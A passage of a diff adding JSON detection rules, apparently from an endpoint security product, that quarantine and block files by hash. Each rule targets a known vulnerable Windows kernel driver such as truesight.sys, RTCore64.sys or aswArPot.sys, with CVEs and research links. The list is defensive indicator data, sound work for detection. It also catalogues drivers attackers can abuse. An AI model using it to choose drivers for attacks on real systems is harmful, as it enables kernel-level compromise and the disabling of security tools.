+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818408Z",
+  "creation_date": "2026-03-23T11:45:31.818412Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818421Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b12d0368991e9d93d9fa131dab8d535a0b15f260df062f548f859306a94e932c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65e6f463-2105-5194-9deb-f8b7c40ea215",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984656Z",
+  "creation_date": "2026-03-23T11:45:29.984658Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984664Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "21af8e034ca42ab24a5d1623f70de9c66eeea63d72aeb0f1846b1e04dbdf4f51",
+  "comment": "Vulnerable Kernel Driver (aka BS_I2cIo.sys) [https://www.loldrivers.io/drivers/66be9e0a-9246-4404-b5b5-7fbde351668f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65ec4d6f-b709-51e3-99d1-74e962ea50fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980168Z",
+  "creation_date": "2026-03-23T11:45:29.980170Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980175Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad8fd8300ed375e22463cea8767f68857d9a3b0ff8585fbeb60acef89bf4a7d7",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65f06645-229d-5bf7-9270-098096e331fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969506Z",
+  "creation_date": "2026-03-23T11:45:29.969508Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969513Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e89a5a25969953961db2a2a1a5c73c8af48f7af169ac3fd098171556bf0854d",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "65f1ef83-2340-5b41-b65d-2a3120591628",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816654Z",
+  "creation_date": "2026-03-23T11:45:30.816656Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816662Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7220924a787b57f757dd84b30bcd53eb11647eb65a94bfb6ffc6773aa6e6f1bf",
+  "comment": "Vulnerable Kernel Driver (aka avalueio.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "660b63f3-d25c-59cb-9b38-662236b5d029",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832799Z",
+  "creation_date": "2026-03-23T11:45:30.832801Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832806Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1fcba19e4897ac0b03116ae3e533a361cfcb7bddba880edbf6bc89b9df056671",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "661269d3-3578-5f07-9b4f-e2b4b589e70b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984191Z",
+  "creation_date": "2026-03-23T11:45:29.984193Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984199Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f3937451f0170a0aec3033cadceeb86ab30ee3c67add3926e116ccc20c0d9a7",
+  "comment": "Vulnerable Kernel Driver (aka OpenLibSys.sys) [https://www.loldrivers.io/drivers/2e4fedb0-30ed-400d-b4e1-b2b2004c1607/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6612fecd-6b53-5cf7-8472-498bad7e0729",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818626Z",
+  "creation_date": "2026-03-23T11:45:31.818629Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818637Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5a1fa889a6ce70d3ffee1cf2da3ee2b3c0c12a60226fc91fd9df1dae87e56cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "661cff52-c50c-59e2-a650-8bee7d2fc257",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615065Z",
+  "creation_date": "2026-03-23T11:45:29.615067Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615072Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "952199c28332bc90cfd74530a77ee237967ed32b3c71322559c59f7a42187dc4",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6625ded1-3b30-51a2-852c-4ce8f68a7f8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974178Z",
+  "creation_date": "2026-03-23T11:45:29.974180Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974185Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2175f4289f3bae19b058e5a4f590c200bede255cd2716dfb054d5e0840f70359",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "662c4686-eb7d-556b-af91-0c2f5709d7ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473213Z",
+  "creation_date": "2026-03-23T11:45:30.473216Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473225Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3975db1127c331ba541fffff0c607a15c45b47aa078e756b402422ef7e81c2c",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66312cbe-6971-5bfe-8601-de8e1c73cb6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151442Z",
+  "creation_date": "2026-03-23T11:45:31.151445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "423ab4aecd6f5241eb64922e891f09d8e90ee37a92ced8f750be152bf990bdc2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66345812-b972-50c0-a749-7dd872013dd5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488691Z",
+  "creation_date": "2026-03-23T11:45:31.488692Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488698Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "301a1c82ed1a6d543be168e5d20a78b108829a0ec790a1bfc3628b80c56664ec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6634ff5f-e7cb-5723-8b93-8bd8fea5ff9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478571Z",
+  "creation_date": "2026-03-23T11:45:30.478574Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8561c82c5ae1ab2a5d9214adc620875d83ed7cb9a01253988f5e5aceffe7a901",
+  "comment": "Vulnerable Kernel Driver (aka vboxdrv.sys) [https://www.loldrivers.io/drivers/2da3a276-9e38-4ee6-903d-d15f7c355e7c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "663ea6df-11af-5773-a442-b4c7eecf50b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607834Z",
+  "creation_date": "2026-03-23T11:45:29.607836Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607842Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7ddf874304556f8a10942a29b3d387cb5155a7419f87813557fe728cb14806d",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66470292-2004-5352-9acd-6f35b66dfd00",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819260Z",
+  "creation_date": "2026-03-23T11:45:30.819262Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819268Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f8b68de1e541093f2d4525a0d02f36d361cd69ee8b1db18e6dd064af3856f4f",
+  "comment": "Vulnerable Kernel Driver (aka hwdetectng.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "664ab1e1-4b9f-59ac-b95d-89e227568ff0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821329Z",
+  "creation_date": "2026-03-23T11:45:30.821332Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821340Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6a5663f20e5cee2c92dee43a0f2868fb0af299f842410f4473dcde7abcb6413",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66516eff-f81b-5268-a694-f0a5b681a03a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825136Z",
+  "creation_date": "2026-03-23T11:45:31.825140Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825148Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f736f6440a3c64238229f013e09bb45973e184a81947b6b9d5d851b7209f653c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6652387b-3163-5cde-95ac-d8c503bf397d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491419Z",
+  "creation_date": "2026-03-23T11:45:31.491422Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491430Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2edfc4d4a23b28f3157025d4a7235bebd649524fa3844805ddf05fbbc8ae6b0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6664b715-325d-5ada-8f9e-fd7c099ec8ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972526Z",
+  "creation_date": "2026-03-23T11:45:29.972528Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "263e8f1e20612849aea95272da85773f577fd962a7a6d525b53f43407aa7ad24",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66786378-97dc-56ef-a4bc-c82cb4b4ddf5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142434Z",
+  "creation_date": "2026-03-23T11:45:31.142436Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142442Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c22f7f12154a4d834f76210372bf9ae79cf9e5bdaa5a9a319274c2d4da73eb12",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66835805-bb8f-5449-b98a-a821491be3b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154093Z",
+  "creation_date": "2026-03-23T11:45:31.154096Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154101Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c498def339dbf7392a6290a34250a44928ef97cac638651709a2ccf7b7cf9176",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6684899d-c8f7-534e-b7be-4b80a4914527",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
